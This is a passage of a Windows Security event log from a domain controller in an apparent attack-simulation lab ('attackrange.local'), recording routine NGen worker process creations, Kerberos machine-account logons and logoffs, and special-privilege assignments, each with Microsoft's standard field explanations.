	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 15c -InterruptEvent 0 -NGENProcess 240 -Pipe 23c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:53 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254230
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x370
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 25c -Pipe 27c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:01:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254234
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD4F00

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254233
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD4F00
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		62429

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:57 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254232
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD4F00

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254244
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5127

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254243
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD5127
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62433

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254242
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD5127

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254241
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD50BB

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254240
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD50BB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62432

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254239
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD50BB

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254238
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD501B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254236
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD501B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62431

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254235
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD501B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254250
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD53D7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254249
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD53D7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62436

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254248
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD53D7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=254247
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD534F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=254246
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xD534F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		62435

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:01:59 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=254245
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xD534F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:02:00 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254251
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf04
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 278 -InterruptEvent 0 -NGENProcess 240 -Pipe 25c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254253
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xeec
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 240 -InterruptEvent 0 -NGENProcess 284 -Pipe 238 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:01 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254252
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa24
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 280 -InterruptEvent 0 -NGENProcess 288 -Pipe 274 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:02 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254254
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x103c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2ac -InterruptEvent 0 -NGENProcess 280 -Pipe 2b0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:03 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254255
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xe4c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 268 -InterruptEvent 0 -NGENProcess 26c -Pipe 254 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:02:09 AM
LogName=Security
